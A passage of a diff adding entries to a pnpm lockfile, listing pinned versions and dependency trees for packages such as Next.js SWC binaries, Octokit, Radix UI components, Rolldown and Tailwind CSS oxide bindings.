+ '@jridgewell/sourcemap-codec': 1.5.5
+
+ '@jridgewell/trace-mapping@0.3.9':
+ dependencies:
+ '@jridgewell/resolve-uri': 3.1.2
+ '@jridgewell/sourcemap-codec': 1.5.5
+
+ '@js-joda/core@5.6.5': {}
+
+ '@js-temporal/polyfill@0.5.1':
+ dependencies:
+ jsbi: 4.3.2
+
+ '@mapbox/node-pre-gyp@2.0.3':
+ dependencies:
+ consola: 3.4.2
+ detect-libc: 2.1.2
+ https-proxy-agent: 7.0.6
+ node-fetch: 2.7.0
+ nopt: 8.1.0
+ semver: 7.7.3
+ tar: 7.5.2
+ transitivePeerDependencies:
+ - encoding
+ - supports-color
+
+ '@napi-rs/wasm-runtime@0.2.12':
+ dependencies:
+ '@emnapi/core': 1.8.1
+ '@emnapi/runtime': 1.8.1
+ '@tybys/wasm-util': 0.10.1
+ optional: true
+
+ '@napi-rs/wasm-runtime@1.1.1':
+ dependencies:
+ '@emnapi/core': 1.8.1
+ '@emnapi/runtime': 1.8.1
+ '@tybys/wasm-util': 0.10.1
+ optional: true
+
+ '@next/env@16.1.5': {}
+
+ '@next/eslint-plugin-next@15.5.9':
+ dependencies:
+ fast-glob: 3.3.1
+
+ '@next/swc-darwin-arm64@16.1.5':
+ optional: true
+
+ '@next/swc-darwin-x64@16.1.5':
+ optional: true
+
+ '@next/swc-linux-arm64-gnu@16.1.5':
+ optional: true
+
+ '@next/swc-linux-arm64-musl@16.1.5':
+ optional: true
+
+ '@next/swc-linux-x64-gnu@16.1.5':
+ optional: true
+
+ '@next/swc-linux-x64-musl@16.1.5':
+ optional: true
+
+ '@next/swc-win32-arm64-msvc@16.1.5':
+ optional: true
+
+ '@next/swc-win32-x64-msvc@16.1.5':
+ optional: true
+
+ '@noble/hashes@2.0.1': {}
+
+ '@nodelib/fs.scandir@2.1.5':
+ dependencies:
+ '@nodelib/fs.stat': 2.0.5
+ run-parallel: 1.2.0
+
+ '@nodelib/fs.stat@2.0.5': {}
+
+ '@nodelib/fs.walk@1.2.8':
+ dependencies:
+ '@nodelib/fs.scandir': 2.1.5
+ fastq: 1.20.1
+
+ '@nolyfill/is-core-module@1.0.39': {}
+
+ '@octokit/endpoint@11.0.2':
+ dependencies:
+ '@octokit/types': 16.0.0
+ universal-user-agent: 7.0.3
+
+ '@octokit/graphql@9.0.3':
+ dependencies:
+ '@octokit/request': 10.0.7
+ '@octokit/types': 16.0.0
+ universal-user-agent: 7.0.3
+
+ '@octokit/openapi-types@27.0.0': {}
+
+ '@octokit/request-error@7.1.0':
+ dependencies:
+ '@octokit/types': 16.0.0
+
+ '@octokit/request@10.0.7':
+ dependencies:
+ '@octokit/endpoint': 11.0.2
+ '@octokit/request-error': 7.1.0
+ '@octokit/types': 16.0.0
+ fast-content-type-parse: 3.0.0
+ universal-user-agent: 7.0.3
+
+ '@octokit/types@16.0.0':
+ dependencies:
+ '@octokit/openapi-types': 27.0.0
+
+ '@oxc-project/types@0.110.0': {}
+
+ '@oxc-transform/binding-android-arm-eabi@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-android-arm64@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-darwin-arm64@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-darwin-x64@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-freebsd-x64@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-arm-gnueabihf@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-arm-musleabihf@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-arm64-gnu@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-arm64-musl@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-ppc64-gnu@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-riscv64-gnu@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-riscv64-musl@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-s390x-gnu@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-x64-gnu@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-linux-x64-musl@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-openharmony-arm64@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-wasm32-wasi@0.111.0':
+ dependencies:
+ '@napi-rs/wasm-runtime': 1.1.1
+ optional: true
+
+ '@oxc-transform/binding-win32-arm64-msvc@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-win32-ia32-msvc@0.111.0':
+ optional: true
+
+ '@oxc-transform/binding-win32-x64-msvc@0.111.0':
+ optional: true
+
+ '@paralleldrive/cuid2@3.3.0':
+ dependencies:
+ '@noble/hashes': 2.0.1
+ bignumber.js: 9.3.1
+ error-causes: 3.0.2
+
+ '@radix-ui/primitive@1.1.3': {}
+
+ '@radix-ui/react-alert-dialog@1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/primitive': 1.1.3
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-dialog': 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-arrow@1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-avatar@1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-context': 1.1.3(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.4(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-is-hydrated': 0.1.0(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-collapsible@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/primitive': 1.1.3
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-collection@1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-compose-refs@1.1.2(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-context@1.1.2(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-context@1.1.3(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-dialog@1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/primitive': 1.1.3
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-focus-guards': 1.1.3(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.7)(react@19.2.4)
+ aria-hidden: 1.2.6
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ react-remove-scroll: 2.7.2(@types/react@19.2.7)(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-direction@1.1.1(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/primitive': 1.1.3
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-dropdown-menu@2.1.16(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/primitive': 1.1.3
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-menu': 2.1.16(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-focus-guards@1.1.3(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-id@1.1.1(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-menu@2.1.16(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/primitive': 1.1.3
+ '@radix-ui/react-collection': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-direction': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-focus-guards': 1.1.3(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-popper': 1.2.8(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-roving-focus': 1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ aria-hidden: 1.2.6
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ react-remove-scroll: 2.7.2(@types/react@19.2.7)(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-popper@1.2.8(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@floating-ui/react-dom': 2.1.6(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-arrow': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-rect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-size': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/rect': 1.1.1
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-portal@1.1.9(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-presence@1.1.5(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-primitive@2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-slot': 1.2.3(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-primitive@2.1.4(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-slot': 1.2.4(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-roving-focus@1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@radix-ui/primitive': 1.1.3
+ '@radix-ui/react-collection': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-context': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-direction': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+ '@types/react-dom': 19.2.3(@types/react@19.2.7)
+
+ '@radix-ui/react-slot@1.2.3(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-slot@1.2.4(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-callback-ref@1.1.1(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-controllable-state@1.2.2(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-use-effect-event': 0.0.2(@types/react@19.2.7)(react@19.2.4)
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-effect-event@0.0.2(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-is-hydrated@0.1.0(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ use-sync-external-store: 1.6.0(react@19.2.4)
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-layout-effect@1.1.1(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-rect@1.1.1(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/rect': 1.1.1
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/react-use-size@1.1.1(@types/react@19.2.7)(react@19.2.4)':
+ dependencies:
+ '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.7)(react@19.2.4)
+ react: 19.2.4
+ optionalDependencies:
+ '@types/react': 19.2.7
+
+ '@radix-ui/rect@1.1.1': {}
+
+ '@rolldown/binding-android-arm64@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-darwin-arm64@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-darwin-x64@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-freebsd-x64@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-linux-arm64-musl@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-linux-x64-gnu@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-linux-x64-musl@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-openharmony-arm64@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-wasm32-wasi@1.0.0-rc.1':
+ dependencies:
+ '@napi-rs/wasm-runtime': 1.1.1
+ optional: true
+
+ '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/binding-win32-x64-msvc@1.0.0-rc.1':
+ optional: true
+
+ '@rolldown/pluginutils@1.0.0-rc.1': {}
+
+ '@rollup/pluginutils@5.3.0':
+ dependencies:
+ '@types/estree': 1.0.8
+ estree-walker: 2.0.2
+ picomatch: 4.0.3
+
+ '@rtsao/scc@1.1.0': {}
+
+ '@rushstack/eslint-patch@1.15.0': {}
+
+ '@rvf/set-get@7.0.1': {}
+
+ '@sapphire/async-queue@1.5.5': {}
+
+ '@sapphire/shapeshift@4.0.0':
+ dependencies:
+ fast-deep-equal: 3.1.3
+ lodash: 4.17.21
+
+ '@sapphire/snowflake@3.5.5': {}
+
+ '@sinclair/typebox@0.25.24': {}
+
+ '@swc/helpers@0.5.15':
+ dependencies:
+ tslib: 2.8.1
+
+ '@t3-oss/env-core@0.13.10(typescript@5.9.3)(zod@4.1.8)':
+ optionalDependencies:
+ typescript: 5.9.3
+ zod: 4.1.8
+
+ '@t3-oss/env-nextjs@0.13.10(typescript@5.9.3)(zod@4.1.8)':
+ dependencies:
+ '@t3-oss/env-core': 0.13.10(typescript@5.9.3)(zod@4.1.8)
+ optionalDependencies:
+ typescript: 5.9.3
+ zod: 4.1.8
+
+ '@tailwindcss/forms@0.5.11(tailwindcss@4.1.18)':
+ dependencies:
+ mini-svg-data-uri: 1.4.4
+ tailwindcss: 4.1.18
+
+ '@tailwindcss/node@4.1.18':
+ dependencies:
+ '@jridgewell/remapping': 2.3.5
+ enhanced-resolve: 5.18.4
+ jiti: 2.6.1
+ lightningcss: 1.30.2
+ magic-string: 0.30.21
+ source-map-js: 1.2.1
+ tailwindcss: 4.1.18
+
+ '@tailwindcss/oxide-android-arm64@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-darwin-arm64@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-darwin-x64@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-freebsd-x64@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-linux-arm-gnueabihf@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-linux-arm64-gnu@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-linux-arm64-musl@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-linux-x64-gnu@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-linux-x64-musl@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-wasm32-wasi@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-win32-arm64-msvc@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide-win32-x64-msvc@4.1.18':
+ optional: true
+
+ '@tailwindcss/oxide@4.1.18':
+ optionalDependencies:
+ '@tailwindcss/oxide-android-arm64': 4.1.18
+ '@tailwindcss/oxide-darwin-arm64': 4.1.18
+ '@tailwindcss/oxide-darwin-x64': 4.1.18
+ '@tailwindcss/oxide-freebsd-x64': 4.1.18
+ '@tailwindcss/oxide-linux-arm-gnueabihf': 4.1.18
+ '@tailwindcss/oxide-linux-arm64-gnu': 4.1.18
+ '@tailwindcss/oxide-linux-arm64-musl': 4.1.18
+ '@tailwindcss/oxide-linux-x64-gnu': 4.1.18
+ '@tailwindcss/oxide-linux-x64-musl': 4.1.18
